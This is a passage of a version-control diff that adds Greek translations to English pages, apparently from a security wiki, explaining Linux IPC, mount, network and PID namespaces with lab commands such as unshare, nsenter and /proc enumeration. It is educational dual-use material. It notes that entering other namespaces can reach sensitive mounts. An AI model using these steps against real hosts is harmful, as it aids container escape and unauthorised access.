3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace.
1. Όταν δημιουργείται ένα νέο IPC namespace, ξεκινά με ένα **εντελώς απομονωμένο σύνολο αντικειμένων IPC System V**. Αυτό σημαίνει ότι οι διαδικασίες που εκτελούνται στο νέο IPC namespace δεν μπορούν να έχουν πρόσβαση ή να παρεμβαίνουν στα αντικείμενα IPC σε άλλα namespaces ή στο σύστημα υποδοχής από προεπιλογή.
2. Τα αντικείμενα IPC που δημιουργούνται εντός ενός namespace είναι ορατά και **προσβάσιμα μόνο από διαδικασίες εντός αυτού του namespace**. Κάθε αντικείμενο IPC αναγνωρίζεται από ένα μοναδικό κλειδί εντός του namespace του. Αν και το κλειδί μπορεί να είναι ταυτόσημο σε διαφορετικά namespaces, τα ίδια τα αντικείμενα είναι απομονωμένα και δεν μπορούν να προσπελαστούν μεταξύ των namespaces.
3. Οι διαδικασίες μπορούν να μετακινούνται μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()` ή να δημιουργούν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWIPC`. Όταν μια διαδικασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί τα αντικείμενα IPC που σχετίζονται με αυτό το namespace.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα η συνάρτηση `alloc_pid` να αποτύχει να κατανομήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να συναντούν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Find all IPC namespaces
### Βρείτε όλα τα IPC namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an IPC namespace
### Είσοδος σε ένα IPC namespace
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
Επίσης, μπορείτε να **εισέλθετε σε άλλο namespace διαδικασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
### Create IPC object
### Δημιουργία αντικειμένου IPC
```bash
# Container
sudo unshare -i /bin/bash
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
# From the host
ipcs -m # Nothing is seen
```
## References
## Αναφορές
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -4,68 +4,61 @@
## Basic Information
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
Ένα mount namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει απομόνωση των σημείων προσάρτησης του συστήματος αρχείων που βλέπει μια ομάδα διεργασιών. Κάθε mount namespace έχει το δικό του σύνολο σημείων προσάρτησης του συστήματος αρχείων, και **οι αλλαγές στα σημεία προσάρτησης σε ένα namespace δεν επηρεάζουν άλλα namespaces**. Αυτό σημαίνει ότι οι διεργασίες που εκτελούνται σε διαφορετικά mount namespaces μπορούν να έχουν διαφορετικές απόψεις της ιεραρχίας του συστήματος αρχείων.
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
Τα mount namespaces είναι ιδιαίτερα χρήσιμα στην κοντεντοποίηση, όπου κάθε κοντέινερ θα πρέπει να έχει το δικό του σύστημα αρχείων και ρύθμιση, απομονωμένο από άλλα κοντέινερ και το σύστημα φιλοξενίας.
### How it works:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
1. Όταν δημιουργείται ένα νέο mount namespace, αρχικοποιείται με μια **αντίγραφο των σημείων προσάρτησης από το γονικό namespace**. Αυτό σημαίνει ότι, κατά τη δημιουργία, το νέο namespace μοιράζεται την ίδια άποψη του συστήματος αρχείων με το γονικό του. Ωστόσο, οποιεσδήποτε επακόλουθες αλλαγές στα σημεία προσάρτησης εντός του namespace δεν θα επηρεάσουν το γονικό ή άλλα namespaces.
2. Όταν μια διεργασία τροποποιεί ένα σημείο προσάρτησης εντός του namespace της, όπως η προσάρτηση ή η αποσύνδεση ενός συστήματος αρχείων, η **αλλαγή είναι τοπική σε εκείνο το namespace** και δεν επηρεάζει άλλα namespaces. Αυτό επιτρέπει σε κάθε namespace να έχει τη δική του ανεξάρτητη ιεραρχία συστήματος αρχείων.
3. Οι διεργασίες μπορούν να μετακινηθούν μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()`, ή να δημιουργήσουν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWNS`. Όταν μια διεργασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί τα σημεία προσάρτησης που σχετίζονται με εκείνο το namespace.
4. **Οι περιγραφείς αρχείων και οι inodes μοιράζονται μεταξύ namespaces**, πράγμα που σημαίνει ότι αν μια διεργασία σε ένα namespace έχει έναν ανοιχτό περιγραφέα αρχείου που δείχνει σε ένα αρχείο, μπορεί να **περάσει αυτόν τον περιγραφέα αρχείου** σε μια διεργασία σε άλλο namespace, και **και οι δύο διεργασίες θα έχουν πρόσβαση στο ίδιο αρχείο**. Ωστόσο, η διαδρομή του αρχείου μπορεί να μην είναι η ίδια και στα δύο namespaces λόγω διαφορών στα σημεία προσάρτησης.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι το νέο mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτό το namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τα νέα PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέα namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία ενός νέου PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στο νέο namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Κατά συνέπεια, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στο αρχικό PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στο νέο namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα του namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτό το namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε ένα νέο namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανεμηθεί ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία του νέου PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στο νέο namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι τότε ασφαλώς περιορισμένες μέσα σε αυτό το νέο namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, το νέο PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Find all Mount namespaces
### Βρείτε όλα τα Mount namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
### Enter inside a Mount namespace
### Είσοδος σε ένα Mount namespace
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/mnt`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
Επειδή οι νέες προσβάσεις είναι προσβάσιμες μόνο εντός του namespace, είναι πιθανό ένα namespace να περιέχει ευαίσθητες πληροφορίες που μπορούν να είναι προσβάσιμες μόνο από αυτό.
### Mount something
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848
```
## References
## Αναφορές
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)

View File

@ -4,83 +4,73 @@
## Basic Information
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
Ένα network namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει απομόνωση της στοίβας δικτύου, επιτρέποντας **σε κάθε network namespace να έχει τη δική του ανεξάρτητη ρύθμιση δικτύου**, διεπαφές, διευθύνσεις IP, πίνακες δρομολόγησης και κανόνες τείχους προστασίας. Αυτή η απομόνωση είναι χρήσιμη σε διάφορα σενάρια, όπως η κοντενέρωση, όπου κάθε κοντέινερ θα πρέπει να έχει τη δική του ρύθμιση δικτύου, ανεξάρτητη από άλλα κοντέινερ και το σύστημα φιλοξενίας.
### How it works:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
1. Όταν δημιουργείται ένα νέο network namespace, ξεκινά με μια **εντελώς απομονωμένη στοίβα δικτύου**, με **κανέναν δίκτυο διεπαφών** εκτός από τη διεπαφή loopback (lo). Αυτό σημαίνει ότι οι διεργασίες που εκτελούνται στο νέο network namespace δεν μπορούν να επικοινωνούν με διεργασίες σε άλλα namespaces ή το σύστημα φιλοξενίας από προεπιλογή.
2. **Εικονικές διεπαφές δικτύου**, όπως τα veth ζεύγη, μπορούν να δημιουργηθούν και να μετακινηθούν μεταξύ των network namespaces. Αυτό επιτρέπει τη δημιουργία δικτυακής συνδεσιμότητας μεταξύ namespaces ή μεταξύ ενός namespace και του συστήματος φιλοξενίας. Για παράδειγμα, το ένα άκρο ενός veth ζεύγους μπορεί να τοποθετηθεί στο network namespace ενός κοντέινερ, και το άλλο άκρο μπορεί να συνδεθεί σε μια **γέφυρα** ή άλλη διεπαφή δικτύου στο namespace του φιλοξενούμενου, παρέχοντας δικτυακή συνδεσιμότητα στο κοντέινερ.
3. Οι διεπαφές δικτύου εντός ενός namespace μπορούν να έχουν τις **δικές τους διευθύνσεις IP, πίνακες δρομολόγησης και κανόνες τείχους προστασίας**, ανεξάρτητες από άλλα namespaces. Αυτό επιτρέπει στις διεργασίες σε διαφορετικά network namespaces να έχουν διαφορετικές ρυθμίσεις δικτύου και να λειτουργούν σαν να εκτελούνται σε ξεχωριστά δικτυωμένα συστήματα.
4. Οι διεργασίες μπορούν να μετακινηθούν μεταξύ namespaces χρησιμοποιώντας την κλήση συστήματος `setns()`, ή να δημιουργήσουν νέα namespaces χρησιμοποιώντας τις κλήσεις συστήματος `unshare()` ή `clone()` με την σημαία `CLONE_NEWNET`. Όταν μια διεργασία μετακινείται σε ένα νέο namespace ή δημιουργεί ένα, θα αρχίσει να χρησιμοποιεί τη ρύθμιση δικτύου και τις διεπαφές που σχετίζονται με αυτό το namespace.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργήσει νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Κατά συνέπεια, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιεχόμενες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Find all Network namespaces
### Βρείτε όλα τα Network namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Network namespace
### Είσοδος σε ένα Network namespace
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
Επίσης, μπορείτε να **μπείτε σε άλλη διαδικασία namespace μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
## References
## Αναφορές
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -4,87 +4,77 @@
## Basic Information
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
Ο PID (Process IDentifier) namespace είναι μια δυνατότητα στον πυρήνα του Linux που παρέχει απομόνωση διεργασιών επιτρέποντας σε μια ομάδα διεργασιών να έχει το δικό της σύνολο μοναδικών PIDs, ξεχωριστό από τους PIDs σε άλλους namespaces. Αυτό είναι ιδιαίτερα χρήσιμο στην κοντενέρωση, όπου η απομόνωση διεργασιών είναι ουσιώδης για την ασφάλεια και τη διαχείριση πόρων.
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
Όταν δημιουργείται ένα νέο PID namespace, η πρώτη διεργασία σε αυτό το namespace ανατίθεται PID 1. Αυτή η διεργασία γίνεται η "init" διεργασία του νέου namespace και είναι υπεύθυνη για τη διαχείριση άλλων διεργασιών εντός του namespace. Κάθε επόμενη διεργασία που δημιουργείται εντός του namespace θα έχει έναν μοναδικό PID εντός αυτού του namespace, και αυτοί οι PIDs θα είναι ανεξάρτητοι από τους PIDs σε άλλους namespaces.
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
Από την προοπτική μιας διεργασίας εντός ενός PID namespace, μπορεί να δει μόνο άλλες διεργασίες στο ίδιο namespace. Δεν είναι ενήμερη για διεργασίες σε άλλους namespaces και δεν μπορεί να αλληλεπιδράσει μαζί τους χρησιμοποιώντας παραδοσιακά εργαλεία διαχείρισης διεργασιών (π.χ., `kill`, `wait`, κ.λπ.). Αυτό παρέχει ένα επίπεδο απομόνωσης που βοηθά στην αποφυγή παρεμβολών μεταξύ των διεργασιών.
### How it works:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
